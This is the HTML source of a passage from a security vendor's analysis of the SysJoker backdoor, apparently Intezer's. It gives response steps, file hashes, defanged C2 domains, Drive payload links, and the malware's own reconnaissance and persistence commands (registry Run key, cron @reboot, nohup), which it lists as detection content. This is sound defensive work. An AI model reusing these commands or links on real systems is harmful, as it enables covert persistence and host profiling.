&lt;h2&gt;Detection &amp;amp; Response&lt;span class="hx:absolute hx:-mt-20" id="detection--response"&gt;&lt;/span&gt;
&lt;a href="#detection--response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;To detect if a machine in your organization has been compromised, we recommend
taking the following steps:&lt;/p&gt;
&lt;p&gt;Use memory scanners to detect SysJoker payload in memory.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For Linux machines, use Intezer Protect to gain full runtime visibility over
the code in your Linux-based systems and get alerted on any malicious or
unauthorized code. We have a free community edition.&lt;/li&gt;
&lt;li&gt;For Windows machines, use Intezer&amp;rsquo;s Endpoint Scanner. The Endpoint Scanner
will provide you with visibility into the type and origin of all binary code
that resides in your machine&amp;rsquo;s memory. The figure below shows an example of
an endpoint infected with SysJoker:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Use detection content to search in your EDR or SIEM. We provided you with IoCs
and a rich list of detection content for each operating system below. Use these
with your EDR to hunt for infected machines. We will publish a dedicated blog
soon discussing how to use detection content for detecting SysJoker.&lt;/p&gt;
&lt;p&gt;If you have been compromised, take the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kill the processes related to SysJoker, delete the relevant persistence
mechanism, and all files related to SysJoker (see detection content section
below)&lt;/li&gt;
&lt;li&gt;Make sure that the infected machine is clean by running a memory scanner&lt;/li&gt;
&lt;li&gt;Investigate the initial entry point of the malware. If a server was infected
with SysJoker, in the course of this investigation, check:
&lt;ul&gt;
&lt;li&gt;Configuration status and password complexity for publicly facing services&lt;/li&gt;
&lt;li&gt;Used software versions and possible known exploits&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SysJoker&amp;rsquo;s Linux and Windows versions are now indexed in Intezer Analyze.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Final Points&lt;span class="hx:absolute hx:-mt-20" id="final-points"&gt;&lt;/span&gt;
&lt;a href="#final-points" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;There are indications that SysJoker attack is performed by an advanced threat
actor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The fact that the code was written from scratch and hasn&amp;rsquo;t been seen before
in other attacks. On top of that, it is rare to find previously unseen Linux
malware in a live attack.&lt;/li&gt;
&lt;li&gt;The attacker registered at least 4 different domains and wrote from scratch
the malware for three different operating systems.&lt;/li&gt;
&lt;li&gt;During our analysis, we haven&amp;rsquo;t witnessed a second stage or command sent from
the attacker. This suggests that the attack is specific which usually fits
for an advanced actor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Based on the malware&amp;rsquo;s capabilities we assess that the goal of the attack is
espionage together with lateral movement which might also lead to a ransomware
attack as one of the next stages.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;ELF&lt;span class="hx:absolute hx:-mt-20" id="elf"&gt;&lt;/span&gt;
&lt;a href="#elf" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;bd0141e88a0d56b508bc52db4dab68a49b6027a486e4d9514ec0db006fe71eed
d028e64bf4ec97dfd655ccd1157a5b96515d461a710231ac8a529d7bdb936ff3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Mac&lt;span class="hx:absolute hx:-mt-20" id="mac"&gt;&lt;/span&gt;
&lt;a href="#mac" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;1a9a5c797777f37463b44de2b49a7f95abca786db3977dcdac0f79da739c08ac
fe99db3268e058e1204aff679e0726dc77fd45d06757a5fda9eafc6a28cfb8df
d0febda3a3d2d68b0374c26784198dc4309dbe4a8978e44bb7584fd832c325f0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows"&gt;&lt;/span&gt;
&lt;a href="#windows" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;61df74731fbe1eafb2eb987f20e5226962eeceef010164e41ea6c4494a4010fc
1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c
d476ca89674c987ca399a97f2d635fe30a6ba81c95f93e8320a5f979a0563517
36fed8ab1bf473714d6886b8dcfbcaa200a72997d50ea0225a90c28306b7670e&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;C2&lt;span class="hx:absolute hx:-mt-20" id="c2"&gt;&lt;/span&gt;
&lt;a href="#c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;https[://]bookitlab[.]tech
https[://]winaudio-tools[.]com
https[://]graphic-updater[.]com
https[://]github[.]url-mini[.]com
https[://]office360-update[.]com
https[://]drive[.]google[.]com/uc?export=download&amp;amp;id=1-NVty4YX0dPHdxkgMrbdCldQCpCaE-Hn
https[://]drive[.]google[.]com/uc?export=download&amp;amp;id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Detection Content&lt;span class="hx:absolute hx:-mt-20" id="detection-content"&gt;&lt;/span&gt;
&lt;a href="#detection-content" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows-1"&gt;&lt;/span&gt;
&lt;a href="#windows-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Files and directories created on the machine&lt;span class="hx:absolute hx:-mt-20" id="files-and-directories-created-on-the-machine"&gt;&lt;/span&gt;
&lt;a href="#files-and-directories-created-on-the-machine" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;C:\ProgramData\RecoverySystem
C:\ProgramData\RecoverySystem\recoveryWindows.zip
C:\ProgramData\RecoverySystem\msg.exe
C:\ProgramData\SystemData\
C:\ProgramData\SystemData\igfxCUIService.exe
C:\ProgramData\SystemData\tempo1.txt
C:\ProgramData\SystemData\tempo2.txt
C:\ProgramData\SystemData\tempi1.txt
C:\ProgramData\SystemData\tempi2.txt
C:\ProgramData\SystemData\temps1.txt
C:\ProgramData\SystemData\temps2.txt
C:\ProgramData\SystemData\tempu.txt
C:\ProgramData\SystemData\microsoft_windows.dll
C:\ProgramData\xAE Operating System\ServiceHub.exe&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence"&gt;&lt;/span&gt;
&lt;a href="#persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Name: igfxCUIService
Type: REG_SZ
Data: &amp;#34;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Commands&lt;span class="hx:absolute hx:-mt-20" id="commands"&gt;&lt;/span&gt;
&lt;a href="#commands" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-batch" data-lang="batch"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34;&lt;/span&gt; copy &amp;#39;C:\Users\&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;USER&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;\AppData\Local\Temp\1ffd6559d21470c40dcf9236.exe&amp;#39; &amp;#39;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34;&lt;/span&gt; getmac &lt;span class="p"&gt;|&lt;/span&gt; Out-File -Encoding &amp;#39;Default&amp;#39; &amp;#39;C:\ProgramData\SystemData\temps1.txt&amp;#39; ; wmic path win32_physicalmedia get SerialNumber &lt;span class="p"&gt;|&lt;/span&gt; Out-File -Encoding &amp;#39;Default&amp;#39; &amp;#39;C:\ProgramData\SystemData\temps2.txt&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\Wbem\WMIC.exe&amp;#34;&lt;/span&gt; path win32_physicalmedia get SerialNumber
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\system32\getmac.exe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34;&lt;/span&gt; $env:username &lt;span class="p"&gt;|&lt;/span&gt; Out-File -Encoding &amp;#39;Default&amp;#39; &amp;#39;C:\ProgramData\SystemData\tempu.txt&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\cmd.exe&amp;#34;&lt;/span&gt; /c wmic OS get Caption, CSDVersion, OSArchitecture, Version / value &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempo1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempo1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempo2.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic OS get Caption, CSDVersion, OSArchitecture, Version / value
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\cmd.exe&amp;#34;&lt;/span&gt; /c wmic nicconfig where &amp;#39;IPEnabled = True&amp;#39; get ipaddress &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempi1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempi1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempi2.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic nicconfig where &amp;#39;IPEnabled = True&amp;#39; get ipaddress
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\cmd.exe&amp;#34;&lt;/span&gt; /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V igfxCUIService /t REG_SZ /D &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#34;&lt;/span&gt; /F
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V igfxCUIService /t REG_SZ /D &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#34;&lt;/span&gt; /F&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Linux&lt;span class="hx:absolute hx:-mt-20" id="linux"&gt;&lt;/span&gt;
&lt;a href="#linux" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Files and directories created on the machine&lt;span class="hx:absolute hx:-mt-20" id="files-and-directories-created-on-the-machine-1"&gt;&lt;/span&gt;
&lt;a href="#files-and-directories-created-on-the-machine-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/.Library/
/.Library/SystemServices/updateSystem
/.Library/SystemNetwork
/.Library/log.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence-1"&gt;&lt;/span&gt;
&lt;a href="#persistence-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Creates the cron job:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;@reboot (/.Library/SystemServices/updateSystem)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Commands&lt;span class="hx:absolute hx:-mt-20" id="commands-1"&gt;&lt;/span&gt;
&lt;a href="#commands-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crontab -l &lt;span class="p"&gt;|&lt;/span&gt; egrep -v &lt;span class="s2"&gt;&amp;#34;^(#|&lt;/span&gt;$&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -e &lt;span class="s2"&gt;&amp;#34;@reboot
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;(/.Library/SystemServices/updateSystem)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cp -rf &amp;lt;sample name&amp;gt; /.Library/SystemServices/updateSystem
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nohup &lt;span class="s1"&gt;&amp;#39;/.Library/SystemServices/updateSystem&amp;#39;&lt;/span&gt; &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ifconfig &lt;span class="p"&gt;|&lt;/span&gt; grep -v 127.0.0.1 &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s2"&gt;&amp;#34;inet
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip address &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/ether/{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id -u
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;uname -mrs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
